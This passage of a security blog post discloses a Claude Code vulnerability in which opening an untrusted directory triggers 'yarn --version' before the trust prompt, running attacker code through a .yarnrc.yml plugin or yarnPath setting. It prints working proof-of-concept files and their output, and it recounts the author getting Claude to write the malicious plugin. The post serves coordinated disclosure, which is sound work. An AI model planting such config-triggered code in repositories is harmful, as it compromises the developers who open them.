That was when I remembered that I just purchased me a new friend—Claude—which might help me find a vulnerability in himself.
So I pasted the relevant calls into Claude and asked &quot;Are any of these commands safe to execute in an untrusted directory?&quot;&lt;/p&gt;
&lt;p&gt;What piqued my interest was the following information contained in the chat output:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;yarn --version&lt;/code&gt; - Generally safe, but yarn can be influenced by &lt;code&gt;.yarnrc&lt;/code&gt; files and yarn configuration in the directory hierarchy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now for those who don&#x27;t know the &lt;code&gt;yarn&lt;/code&gt; command:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Yarn is a package manager that doubles down as project manager.
Whether you work on simple projects or industry monorepos, whether you&#x27;re an open source developer or an enterprise user, Yarn has your back.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#3&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While this would require that users would need to have this package manager installed, this seemed promising.
So after a bit of back and forth, Claude was thinking a malicious plugin, defined in &lt;code&gt;.yarnrc&lt;/code&gt; within an untrusted folder, might work to trigger code execution.
So I just asked Claude to develop the malicious plugin for me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/claude_promt.png&quot; alt=&quot;Asking Claude to develop a malicious plugin through the web interface&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After some troubleshooting due to the vibe hacking, I could not believe my eyes.
I had set up my files just like Claude asked me to and ran &lt;code&gt;claude&lt;/code&gt; in the directory and saw something similar to this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/claude_initial_poc.png&quot; alt=&quot;Proof of Concept showing a file being created after claude was executed and the program exited&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As can be seen, just starting &lt;code&gt;claude&lt;/code&gt; caused a file &lt;code&gt;proof.txt&lt;/code&gt; to be created through command execution, despite that the application was exited and an answer to the trust prompt was never given.
This was due to the fact that a malicious plugin was being loaded and executed by Yarn in the background.&lt;/p&gt;
&lt;p&gt;The original exploit technique using plugins consisted of three components, all which Claude generated.
First, a &lt;code&gt;package.json&lt;/code&gt; which specifies the Yarn package manager:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;name&quot;: &quot;testclaude&quot;,
  &quot;packageManager&quot;: &quot;yarn@4.9.1&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;.yarnrc.yml&lt;/code&gt; configuration file that sets up the Yarn package manager to load a malicious plugin upon any command execution, including &lt;code&gt;--version&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# .yarnrc.yml
# Configuration for Yarn package manager with custom plugin

# Load the local plugin - try this format first
plugins:
  - path: &quot;./.yarn/plugins/@local/plugin-command-interceptor.js&quot;
    spec: &quot;@local/plugin-command-interceptor&quot;

[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And lastly the surely innocuous plugin itself:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// .yarn/plugins/@local/plugin-command-interceptor.js
const { execSync } = require(&#x27;child_process&#x27;);

module.exports = {
  name: &#x27;@local/plugin-command-interceptor&#x27;,
  factory: () =&amp;gt; {
    execSync(&#x27;echo &quot;Pwned!&quot; | tee proof.txt&#x27;, { stdio: &#x27;inherit&#x27; });

    return { hooks: {} };
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And as a result, when any Yarn command is issued in the directory, such as &lt;code&gt;yarn --version&lt;/code&gt;, &lt;code&gt;execSync()&lt;/code&gt; is being called.
This is shown in the following output below:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ yarn --version
Pwned!
4.9.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And so, despite Claude initially saying that executing &lt;code&gt;yarn --version&lt;/code&gt; was &quot;generally safe&quot; (it is not), we could use Claude to develop a malicious plugin which demonstrates the issue.
When I discovered the initial vector, I already texted Michael since he originally suggested Claude Code to me and I wanted to have someone to verify my findings.
It didn&#x27;t take long before we realized that there was a catch I did not yet consider: when the exact version of Yarn specified in the &lt;code&gt;package.json&lt;/code&gt; was not yet installed using Corepack, &lt;code&gt;yarn --version&lt;/code&gt; first asked the user to install this version.
This had to be manually confirmed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Remove cached versions of Yarn installed using Corepack
$ rm -rf ~/.cache/node/corepack
# Try to run the malicious plugin again
$ yarn --version
! Corepack is about to download https://repo.yarnpkg.com/4.9.1/packages/yarnpkg-cli/bin/yarn.js
? Do you want to continue? [Y/n] Y

Pwned!
4.9.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, we thought that if the user did not have the correct Yarn version installed that we specified in the &lt;code&gt;package.json&lt;/code&gt;, the attack would fail due to this confirmation prompt.
After testing various things we realized that this was actually not an issue in practice.
Interestingly, the behavior of the confirmation was that if &lt;code&gt;yarn --version&lt;/code&gt; got invoked through &lt;code&gt;claude&lt;/code&gt; itself the confirmation did not pop up and the exploit ran nevertheless.
Sometimes it can be that easy! Or so we thought ...&lt;/p&gt;
&lt;p&gt;During the drafting of this article, we noticed that on a cleanly initialized system the exploit was not perfectly reliable when the specific Yarn version was not already installed.
After running numerous experiments, our current hypothesis is that while invoking &lt;code&gt;yarn --version&lt;/code&gt; through Claude Code skips the download confirmation prompt, there might be a timeout for the Yarn process execution.
If so, high network latency or slow download speeds could cause the exploit to fail since Corepack would not install Yarn fast enough.&lt;/p&gt;
&lt;p&gt;We tested this hypothesis by building a clean Docker image and setting a VPN to a location which would result in significant network latency.
With the VPN enabled the PoC failed rather consistently. As soon as the VPN was disabled, the exploit was almost always successful on the first invocation of &lt;code&gt;claude&lt;/code&gt;.
In addition, even on unsuccessful attempts, &lt;code&gt;~/.cache/corepack&lt;/code&gt; was populated.&lt;/p&gt;
&lt;h3&gt;Yarn Threat Model Assumptions&lt;/h3&gt;
&lt;p&gt;During the disclosure process with Anthropic, we also contacted the Yarn project, as both we and Anthropic considered this behavior to be a vulnerability in Yarn.
However, after we got in touch with the Yarn steward, it was explained that this behavior of Yarn is intentional and that the Yarn threat model considers any Yarn command (even &lt;code&gt;--help&lt;/code&gt; or &lt;code&gt;--version&lt;/code&gt;) issued inside an untrusted directory as insecure.
This definitely came as a surprise!
It was also explained that there exists a configuration setting in &lt;code&gt;.yarnrc.yml&lt;/code&gt; called &lt;code&gt;yarnPath&lt;/code&gt;, which we were unaware of.
The Yarn documentation notes the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/claude_yarnpath_docs.png&quot; alt=&quot;Yarn documentation explaining the yarnPath configuration setting&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This meant that this setting alone was sufficient to exploit the vulnerability in Claude Code.
Since the Yarn version does not have to be specified this also does not suffer from any sort of unreliability.
To do so, first a truly minimalistic &lt;code&gt;.yarnrc.yml&lt;/code&gt; file is created:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;yarnPath: &quot;./script.js&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we only have to write two lines of JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const { execSync } = require(&#x27;child_process&#x27;);
execSync(&#x27;echo &quot;Pwned!&quot; | tee proof.txt&#x27;, { stdio: &#x27;inherit&#x27; });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&#x27;s it to support any Yarn version for this vulnerability by using the &lt;code&gt;yarnPath&lt;/code&gt; technique!&lt;/p&gt;
&lt;h2&gt;Learnings&lt;/h2&gt;
&lt;p&gt;This research was one of the very first times whereby I heavily used a LLM to identify the vulnerability.
To me this showed that LLM technology is already at the level where it can greatly speed up the vulnerability identification process.
Would it have been possible to identify and exploit this manually? Absolutely!
But the fact that vibe hacking was enough to identify a high-severity vulnerability was already a huge surprise to me, especially considering that the initial discovery took less time than a couple of hours.&lt;/p&gt;
&lt;p&gt;On the flipside, this also exposed the clear limitations of using LLMs for such research.
Knowledge gaps in the model clearly prevented identifying the &lt;code&gt;yarnPath&lt;/code&gt; technique, which we might have identified ourselves if we had gone through the Yarn documentation.
Of course, LLMs also really like to hallucinate and dramatize vulnerabilities where there are none, so it should go without saying that if you do use LLMs to identify vulnerabilities, always verify findings manually and develop an actual PoC.&lt;/p&gt;
&lt;p&gt;The threat model applied to Yarn did also really surprise me.
When we looked into this, we found that this is not the only package manager which assumes full trust in the directory it is executed in.
For instance, Sergey &quot;Shnatsel&quot; Davidoff has a great blog post which covers the hidden danger of running any &lt;code&gt;cargo&lt;/code&gt; command (the build tool of the Rust language) on an untrusted repository, due to very similar functionalities compared to Yarn.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#9&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;
Unfortunately, it seems as if the trust assumptions are often not clearly documented so I can only recommend treating all kinds of tooling as a command injection vector if run on untrusted input, unless it is made clear that it would be safe to do so.&lt;/p&gt;
&lt;p&gt;Lastly, thanks to Anthropic for patching this vulnerability in a short timeframe and for unexpectedly granting a reward of 3500 USD.
Following this, we decided to donate half of it for a good cause.
Thus, after all, it was in fact worth it to pay 200 USD for a Claude Pro subscription.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2025-06-29:&lt;/strong&gt; Identified vulnerability&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-06-30:&lt;/strong&gt; Reported vulnerability through Anthropic&#x27;s VDP on HackerOne&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-07-09:&lt;/strong&gt; Anthropic set the vulnerability report to resolved, announced a bounty, and recommended reporting our findings to Yarn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-07-09:&lt;/strong&gt; First attempt to contact Yarn steward through Discord&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-07-10:&lt;/strong&gt; First inquiry whether a CVE will be published by Anthropic&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-07-18:&lt;/strong&gt; Anthropic informed that they work on publishing a CVE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-07-24 to 2025-07-26:&lt;/strong&gt; Initiated a Coordinated Vulnerability Disclosure with Yarn via private email and provided technical details after their initial response. It was explained that this is not considered a vulnerability per the current threat model, but the Yarn steward agreed to submit a PR clarifying this in the official documentation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-07-31:&lt;/strong&gt; After internal discussion, we decided to not continue the disclosure with Yarn due to the threat model and asked for a link to include in this article, which was unfortunately left unanswered.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-09-24:&lt;/strong&gt; Anthropic published a CVE and GitHub advisory (this went unnoticed by us and was not communicated through HackerOne)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-11-14:&lt;/strong&gt; Second inquiry about the publication of a CVE and information about our plans to publish an article&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-11-14:&lt;/strong&gt; Anthropic informed that they work on getting the CVE published and asked for a draft article to review&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-11-19:&lt;/strong&gt; Anthropic published a second CVE and GitHub advisory&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-12-08:&lt;/strong&gt; Draft article sent to Anthropic for review&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-12-18:&lt;/strong&gt; After inquiry about the review, Anthropic updated the initially published GitHub advisory with the information from the draft article. We thus noticed that two advisories/CVEs were published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-12-19:&lt;/strong&gt; Publication of this article and informed Anthropic that multiple CVEs/advisories were published&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Footnotes&lt;/h2&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;6&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code&quot;&gt;https://github.com/anthropics/claude-code&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/&quot;&gt;https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;5&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;3&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/b-faller/cve-2025-65099&quot;&gt;https://github.com/b-faller/cve-2025-65099&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;4&lt;/sup&gt;
&lt;p&gt;It should be noted, however, that this article only focuses on the latter two questions, although I also took a brief look on what is being sent by Claude. If that is of interest to you, I recommend reading the blog post by SpecterOps for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;10&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;5&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/microsoft/vscode/security/advisories/GHSA-r6q2-478f-5gmr&quot;&gt;https://github.com/microsoft/vscode/security/advisories/GHSA-r6q2-478f-5gmr&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;3&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;6&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://yarnpkg.com/&quot;&gt;https://yarnpkg.com/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;9&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;7&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://shnatsel.medium.com/do-not-run-any-cargo-commands-on-untrusted-projects-4c31c89a78d6&quot;&gt;https://shnatsel.medium.com/do-not-run-any-cargo-commands-on-untrusted-projects-4c31c89a78d6&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;4&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;8&lt;/sup&gt;
&lt;p&gt;I slightly changed the PoC to write a file to disk instead of solely relying on output to stdout.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;8&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;9&lt;/sup&gt;
&lt;p&gt;Based on the information on the &lt;a href=&quot;https://yarnpkg.com/advanced/plugin-tutorial&quot;&gt;Yarn plugin tutorial&lt;/a&gt; this would be from Yarn version 2.&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  
</feed>
